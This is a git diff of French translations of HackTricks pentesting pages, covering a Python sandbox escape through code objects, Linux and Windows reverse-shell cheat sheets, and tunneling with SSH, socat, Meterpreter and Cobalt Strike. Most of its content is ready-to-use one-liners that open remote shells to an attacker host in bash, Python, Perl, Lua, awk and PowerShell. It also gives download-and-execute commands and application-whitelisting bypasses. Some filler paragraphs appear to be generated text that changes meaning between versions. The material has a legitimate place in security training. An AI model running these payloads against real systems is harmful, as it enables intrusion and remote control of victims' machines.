Maintenant, imaginons que d'une manière ou d'une autre, vous puissiez **extraire les informations sur une fonction que vous ne pouvez pas exécuter** mais que vous **devez** **exécuter**.\
Comme dans l'exemple suivant, vous **pouvez accéder à l'objet code** de cette fonction, mais en lisant simplement le désassemblage, vous **ne savez pas comment calculer le drapeau** (_imaginez une fonction `calc_flag` plus complexe_).
```python
def get_flag(some_input):
@ -939,7 +939,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
{% hint style="info" %}
Selon la version de Python, les **paramètres** de `code_type` peuvent avoir un **ordre différent**. La meilleure façon de connaître l'ordre des paramètres dans la version de Python que vous exécutez est d'exécuter :
Selon la version de python, les **paramètres** de `code_type` peuvent avoir un **ordre différent**. La meilleure façon de connaître l'ordre des paramètres dans la version de python que vous exécutez est d'exécuter :
```
import types
types.CodeType.__doc__
@ -964,7 +964,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Contourner les défenses
Dans les exemples précédents au début de ce post, vous pouvez voir **comment exécuter n'importe quel code Python en utilisant la fonction `compile`**. C'est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout en **une seule ligne** (et nous pourrions faire la même chose en utilisant **`exec`**).\
Dans les exemples précédents au début de ce post, vous pouvez voir **comment exécuter n'importe quel code Python en utilisant la fonction `compile`**. C'est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout en une **seule ligne** (et nous pourrions faire la même chose en utilisant **`exec`**).\
Quoi qu'il en soit, parfois il pourrait être utile de **créer** un **objet compilé** sur une machine locale et de l'exécuter sur la machine **CTF** (par exemple parce que nous n'avons pas la fonction `compile` dans le CTF).
Par exemple, compilons et exécutons manuellement une fonction qui lit _./poc.py_:
@ -994,7 +994,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Si vous ne pouvez pas accéder à `eval` ou `exec`, vous pourriez créer une **fonction appropriée**, mais l'appeler directement échouera généralement avec : _constructeur non accessible en mode restreint_. Vous avez donc besoin d'une **fonction qui n'est pas dans l'environnement restreint pour appeler cette fonction.**
Si vous ne pouvez pas accéder à `eval` ou `exec`, vous pouvez créer une **fonction appropriée**, mais l'appeler directement échouera généralement avec : _constructeur non accessible en mode restreint_. Vous avez donc besoin d'une **fonction qui n'est pas dans l'environnement restreint pour appeler cette fonction.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1039,7 +1039,7 @@ seront contournés
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -6,9 +6,9 @@
Autres façons de soutenir HackTricks :
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ Autres façons de soutenir HackTricks :
**Si vous avez des questions sur l'un de ces shells, vous pouvez les vérifier avec** [**https://explainshell.com/**](https://explainshell.com)
## TTY complet
## Full TTY
**Une fois que vous avez obtenu un shell inversé**[ **lisez cette page pour obtenir un TTY complet**](full-ttys.md)**.**
@ -41,9 +41,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
#after getting the previous shell to get the output to execute
exec >&0
```
### Coquille sûre de symboles
### Shell sécurisé par des symboles
N'oubliez pas de vérifier avec d'autres coquilles : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh et bash.
N'oubliez pas de vérifier avec d'autres shells : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh et bash.
```bash
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@ -67,7 +67,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
```
## Shell Avancé
Lorsqu'il s'agit d'une vulnérabilité d'**Exécution de Code à Distance (RCE)** au sein d'une application web basée sur Linux, l'obtention d'un shell inversé peut être entravée par des défenses réseau telles que des règles iptables ou des mécanismes de filtrage de paquets complexes. Dans de tels environnements restreints, une approche alternative consiste à établir un shell PTY (Pseudo Terminal) pour interagir de manière plus efficace avec le système compromis.
Lorsqu'il s'agit d'une vulnérabilité d'**Exécution de Code à Distance (RCE)** au sein d'une application web basée sur Linux, l'obtention d'un shell inversé peut être entravée par des défenses réseau telles que des règles iptables ou des mécanismes de filtrage de paquets complexes. Dans de tels environnements restreints, une approche alternative consiste à établir un shell PTY (Pseudo Terminal) pour interagir plus efficacement avec le système compromis.
Un outil recommandé à cette fin est [toboggan](https://github.com/n3rada/toboggan.git), qui simplifie l'interaction avec l'environnement cible.
@ -141,7 +141,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
```bash
while true; do nc -l <port>; done
```
Pour envoyer la commande, écrivez-la, appuyez sur Entrée, puis appuyez sur CTRL+D (pour arrêter STDIN)
Pour envoyer la commande, écrivez-la, appuyez sur Entrée, puis sur CTRL+D (pour arrêter STDIN)
**Victime**
```bash
@ -149,7 +149,7 @@ export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X
```
## Python
Python is a versatile and powerful programming language that is commonly used in the hacking community due to its simplicity and readability. It is often used for writing scripts, automating tasks, and developing tools for various hacking activities. Python's extensive standard library and third-party modules make it a popular choice for hackers looking to quickly prototype and execute their ideas.
Python est un langage de programmation polyvalent largement utilisé dans le domaine de la cybersécurité en raison de sa simplicité et de sa lisibilité. Il est souvent utilisé pour automatiser des tâches, créer des scripts et développer des outils de hacking. Python offre de nombreuses bibliothèques et frameworks qui peuvent être utilisés pour des activités de hacking, ce qui en fait un choix populaire parmi les hackers et les pentesteurs.
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
@ -159,16 +159,7 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
```
## Perl
Perl is a high-level, general-purpose, interpreted programming language known for its flexibility and powerful text processing capabilities. Perl one-liners can be very useful for quick tasks and can be used directly in the command line. Here are some common Perl one-liners that can be handy for various tasks:
- **Print lines matching a pattern:** `perl -ne 'print if /pattern/' file.txt`
- **Print lines not matching a pattern:** `perl -ne 'print unless /pattern/' file.txt`
- **Print specific columns:** `perl -ane 'print $F[0] . "\t" . $F[1]' file.txt`
- **Print unique lines:** `perl -ne '$seen{$_}++ or print' file.txt`
- **Count lines:** `perl -lne 'END { print $. }' file.txt`
- **Sum numbers in a column:** `perl -ane '$sum += $F[0]; END { print $sum }' file.txt`
Perl can be a powerful tool in a hacker's arsenal due to its versatility and ease of use for text manipulation and automation tasks.
Perl is a high-level, general-purpose, interpreted programming language known for its flexibility and powerful text processing capabilities. It is commonly used for system administration, web development, and network programming. Perl scripts can be used for various tasks, including automating repetitive tasks, parsing and processing text files, and creating web applications. Perl is supported on a wide range of platforms, making it a versatile tool for hackers and developers alike.
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
@ -207,7 +198,7 @@ echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","
```
## Lua
Lua est un langage de script léger et puissant. Il est souvent utilisé pour l'automatisation de tâches, le prototypage rapide et le développement de jeux. Lua est également largement utilisé dans les environnements embarqués en raison de sa taille compacte et de sa facilité d'intégration.
Lua est un langage de script léger et puissant. Il est souvent utilisé pour l'automatisation de tâches, la création de scripts et le développement de jeux. Lua est également largement utilisé dans le domaine de la programmation embarquée en raison de sa taille compacte et de sa facilité d'intégration.
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
@ -290,8 +281,6 @@ attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
## Awk
Awk est un langage de programmation polyvalent principalement utilisé pour le traitement de fichiers textuels. Il est souvent utilisé pour extraire et manipuler des données dans des fichiers texte en utilisant des modèles et des actions prédéfinis. Awk est un outil puissant pour les administrateurs système et les hackers, car il permet d'automatiser des tâches courantes telles que l'extraction d'informations spécifiques à partir de fichiers de logs ou de données structurées.
```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
@ -313,29 +302,41 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
### Introduction
Gawk est un langage de programmation interprété qui est souvent utilisé pour le traitement de fichiers texte et la génération de rapports. Il est également largement utilisé par les hackers éthiques pour manipuler des données lors de tests de pénétration.
Gawk est un puissant outil de manipulation de texte en ligne de commande. Il est souvent utilisé pour extraire et traiter des données à partir de fichiers texte de manière efficace.
### Utilisation de Gawk pour l'exécution de commandes
### Utilisation de Gawk
Gawk peut être utilisé pour exécuter des commandes système en utilisant la fonction `system()`. Par exemple, pour exécuter la commande `ls`, vous pouvez utiliser la syntaxe suivante :
Pour utiliser Gawk, vous pouvez exécuter la commande suivante dans un terminal :
```bash
gawk 'BEGIN { system("ls") }'
gawk 'pattern { action }' file.txt
```
Cela exécutera la commande `ls` et affichera le contenu du répertoire.
- `pattern` définit le modèle à rechercher dans le fichier.
- `action` spécifie l'action à effectuer lorsqu'un modèle est trouvé.
- `file.txt` est le fichier à traiter.
### Utilisation de Gawk pour l'extraction de données
### Exemples d'utilisation
Gawk peut également être utilisé pour extraire des données à partir de fichiers texte en utilisant des expressions régulières. Par exemple, pour extraire les adresses IP d'un fichier, vous pouvez utiliser la commande suivante :
1. Afficher les lignes contenant un certain mot :
```bash
gawk 'match($0, /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) { print substr($0, RSTART, RLENGTH) }' fichier.txt
gawk '/mot/' file.txt
```
Cette commande recherchera et extraira les adresses IP du fichier `fichier.txt`.
2. Afficher la première colonne de chaque ligne :
Gawk est un outil puissant pour manipuler des données et automatiser des tâches lors de tests de pénétration.
```bash
gawk '{ print $1 }' file.txt
```
3. Calculer la somme d'une colonne de nombres :
```bash
gawk '{ sum += $1 } END { print sum }' file.txt
```
Gawk offre une grande flexibilité pour manipuler des données textuelles, ce qui en fait un outil précieux pour les tâches de traitement de données en ligne de commande.
```bash
#!/usr/bin/gawk -f
@ -389,7 +390,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -401,7 +402,7 @@ Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -8,7 +8,7 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -52,7 +52,7 @@ C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('1
```
## Perl
Perl is a high-level, general-purpose, interpreted programming language known for its flexibility and powerful text processing capabilities. It is commonly used for system administration, web development, and network programming. Perl scripts can be used to create reverse shells on Windows systems by opening a socket connection to a remote host and executing commands sent by the attacker.
Perl is a high-level, general-purpose, interpreted programming language known for its flexibility and powerful text processing capabilities. Perl can be used for various tasks, including system administration, web development, and network programming. It is commonly used by hackers for writing scripts to automate tasks and manipulate data.
```bash
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
@ -94,10 +94,10 @@ Charge utile écrite sur le disque : **NON** (_du moins nulle part où j'ai pu t
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
Processus effectuant un appel réseau: **svchost.exe**\
Charge utile écrite sur le disque: **Cache local du client WebDAV**
Processus effectuant un appel réseau : **svchost.exe**\
Charge utile écrite sur le disque : **cache local du client WebDAV**
**Une ligne:**
**En une ligne :**
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
@ -344,7 +344,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
Vous pouvez utiliser cette technique pour contourner la liste blanche des applications et les restrictions de Powershell.exe. Vous serez invité avec un shell PS.\
Vous pouvez utiliser cette technique pour contourner la liste blanche des applications et les restrictions de Powershell.exe. Comme vous serez invité avec un shell PS.\
Il suffit de télécharger et d'exécuter ceci : [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
@ -432,7 +432,7 @@ powercat -l -p 443 -i C:\inputfile -rep
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
Créez un lanceur powershell, enregistrez-le dans un fichier, puis téléchargez-le et exécutez-le.
Créez un lanceur powershell, enregistrez-le dans un fichier et téléchargez-le pour l'exécuter.
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
@ -450,7 +450,7 @@ Lancez msfconsole avec la ressource créée :
```
msfconsole -r unicorn.rc
```
Commencez un serveur web servant le fichier _powershell\_attack.txt_ et exécutez-le sur la victime:
Commencez un serveur web servant le fichier _powershell\_attack.txt_ et exécutez sur la victime:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
@ -472,9 +472,9 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) Console PS avec quelques modul
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
**Try Hard Security Group**
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
@ -14,7 +14,7 @@
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -23,7 +23,7 @@
## Astuce Nmap
{% hint style="warning" %}
Les analyses **ICMP** et **SYN** ne peuvent pas être tunnelisées à travers des proxies socks, nous devons donc **désactiver la découverte par ping** (`-Pn`) et spécifier des **analyses TCP** (`-sT`) pour que cela fonctionne.
Les analyses **ICMP** et **SYN** ne peuvent pas être tunnelisées à travers des proxies socks, donc nous devons **désactiver la découverte par ping** (`-Pn`) et spécifier des **analyses TCP** (`-sT`) pour que cela fonctionne.
{% endhint %}
## **Bash**
@ -76,7 +76,7 @@ ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port
```
### Transfert de port inverse
Ceci est utile pour obtenir des shells inversés à partir d'hôtes internes à travers une DMZ vers votre hôte:
Ceci est utile pour obtenir des shells inversés à partir d'hôtes internes à travers une DMZ vers votre hôte :
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
@ -108,7 +108,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
Vous pouvez **tunneliser** tout le **trafic** vers un **sous-réseau** via un hôte en utilisant **ssh**.\
Vous pouvez **tunneliser** tout le **trafic** vers un **sous-réseau** via **ssh** à travers un hôte.\
Par exemple, rediriger tout le trafic allant vers 10.10.10.0/24
```bash
pip install sshuttle
@ -130,7 +130,7 @@ portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
```
### SOCKS
SOCKS (Socket Secure) est un protocole de tunneling qui permet de transférer des données à travers un réseau de manière sécurisée. Il peut être utilisé pour contourner les pare-feu et les restrictions de réseau, ainsi que pour masquer l'adresse IP de l'utilisateur.
SOCKS (Socket Secure) est un protocole de tunneling qui permet de transférer des données à travers un réseau de manière sécurisée. Il peut être utilisé pour contourner les pare-feu, accéder à des ressources restreintes et protéger la confidentialité des données.
```bash
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
@ -140,17 +140,17 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
### Tunneling and Port Forwarding
Tunneling is a method that allows data to be transferred securely over a public network. It involves encapsulating the data in another protocol to ensure its secure transmission. Port forwarding, on the other hand, is a technique that redirects a communication request from one address and port number combination to another while the data packets are in transit.
#### Tunneling
Tunneling can be used to bypass firewalls and access restricted networks. It creates a secure path for data to travel between two endpoints by encapsulating the data in an outer packet. This outer packet is then transmitted over the network, protecting the inner data from being intercepted.
Tunneling is a method that allows data to be transferred securely over a public network. It involves encapsulating the data in another protocol to create a secure communication channel. This can be useful for bypassing network restrictions or securely accessing resources on a remote network.
There are several tools available for creating tunnels, such as SSH, VPNs, and proxy servers. Each has its own strengths and weaknesses, so it's important to choose the right tool for the specific use case.
#### Port Forwarding
Port forwarding is commonly used in NAT (Network Address Translation) environments to allow external devices to access services on private networks. It works by mapping a port on the gateway router to a specific internal IP address and port. This way, incoming traffic on the specified port is forwarded to the correct destination within the private network.
Port forwarding is a technique used to redirect network traffic from one port to another. It can be helpful for accessing services on a remote machine or for exposing a local server to the internet. Port forwarding can be set up using routers, firewalls, or specialized software.
Both tunneling and port forwarding are essential techniques in networking and cybersecurity for ensuring secure and efficient data transmission.
Both tunneling and port forwarding are commonly used in network security and penetration testing to bypass firewalls, access restricted resources, or hide the origin of network traffic. Understanding how to effectively use these techniques can be valuable for both defensive and offensive security operations.
```bash
background #meterpreter session
use post/multi/manage/autoroute
@ -163,11 +163,11 @@ set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
### Cobalt Strike
## Cobalt Strike
### Proxy SOCKS
Ouvrez un port dans le teamserver écoutant sur toutes les interfaces qui peuvent être utilisées pour **router le trafic à travers le beacon**.
Ouvrez un port dans le serveur d'équipe écoutant sur toutes les interfaces qui peuvent être utilisées pour **router le trafic à travers le beacon**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@ -184,16 +184,10 @@ Dans ce cas, le **port est ouvert dans l'hôte du beacon**, pas dans le Serveur
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
Pour noter :
- Le renvoi de port inverse de Beacon est conçu pour **tunneliser le trafic vers le serveur d'équipe, et non pour relayer entre des machines individuelles**.
- Le trafic est **tunnelisé dans le trafic C2 de Beacon**, y compris les liens P2P.
- **Les privilèges d'administrateur ne sont pas nécessaires** pour créer des renvois de port inverse sur des ports élevés.
### rPort2Port local
{% hint style="warning" %}
Dans ce cas, le **port est ouvert dans l'hôte de Beacon**, et non dans le serveur d'équipe, et le **trafic est envoyé au client Cobalt Strike** (et non au serveur d'équipe) et de là à l'hôte:port indiqué.
Dans ce cas, le **port est ouvert dans l'hôte du beacon**, pas dans le Serveur d'Équipe et le **trafic est envoyé au client Cobalt Strike** (pas au Serveur d'Équipe) et de là à l'hôte:port indiqué.
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
@ -203,7 +197,7 @@ rportfwd_local stop [bind port]
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
Vous devez télécharger un fichier tunnel web : ashx|aspx|js|jsp|php|php|jsp
Vous devez télécharger un tunnel de fichier web : ashx|aspx|js|jsp|php|php|jsp
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
@ -275,35 +269,54 @@ socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
#### Introduction
Socat is a versatile networking tool that allows creating bidirectional data streams between two endpoints. In this case, we will use Socat to establish a secure communication channel for Meterpreter sessions by tunneling the traffic over SSL.
In this section, we will cover how to use Socat to create a secure communication channel for Meterpreter sessions by tunneling traffic over SSL.
#### Prerequisites
Before proceeding, make sure you have the necessary tools installed on your system.
- **Socat**: A command-line based utility that establishes two bidirectional byte streams and transfers data between them.
- **OpenSSL**: A robust, commercial-grade, and full-featured toolkit for the Transport Layer Security (TLS) and Secure Sockets Layer (SSL) protocols.
#### Steps
1. **Set up a listener on the attacker machine:**
1. Generate SSL Certificates:
- Generate a private key:
```bash
openssl genrsa -out server.key 2048
```
- Create a certificate signing request (CSR):
```bash
openssl req -new -key server.key -out server.csr
```
- Generate a self-signed SSL certificate:
```bash
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
```
2. Start Socat Listener:
```bash
socat openssl-listen:443,reuseaddr,fork,cert=server.pem,verify=0 -
socat openssl-listen:443,reuseaddr,fork,cert=server.crt,key=server.key tcp-listen:4444,reuseaddr,fork
```
2. **Set up the payload with the SSL certificate:**
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=443 -f exe > meterpreter.exe
```
3. **Execute the payload on the target machine:**
```bash
socat exec:'cmd.exe',pipes,stderr,setsid,sigint,sane openssl:<attacker_ip>:443,verify=0
```
4. **Interact with the Meterpreter session:**
Once the payload is executed on the target machine, you should receive a Meterpreter session on your listener.
3. Connect Meterpreter:
- On the attacker machine:
```bash
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT 4444
exploit
```
- On the target machine:
```bash
socat exec:'openssl s_client -quiet -connect <attacker_ip>:443',pty,stderr,setsid,sigint,sane tcp:<attacker_ip>:4444
```
#### Conclusion
Using Socat to tunnel Meterpreter traffic over SSL adds an extra layer of security to your communication channel, making it harder for network defenders to detect and block your activities.
By following these steps, you can establish a secure Meterpreter session using Socat and SSL tunneling.
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
@ -381,7 +394,7 @@ Chargez **`SocksOverRDP-Plugin.dll`** sur votre ordinateur client comme ceci :
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Maintenant, nous pouvons **se connecter** à la **victime** via **RDP** en utilisant **`mstsc.exe`**, et nous devrions recevoir un **message** indiquant que le **plugin SocksOverRDP est activé**, et qu'il va **écouter** sur **127.0.0.1:1080**.
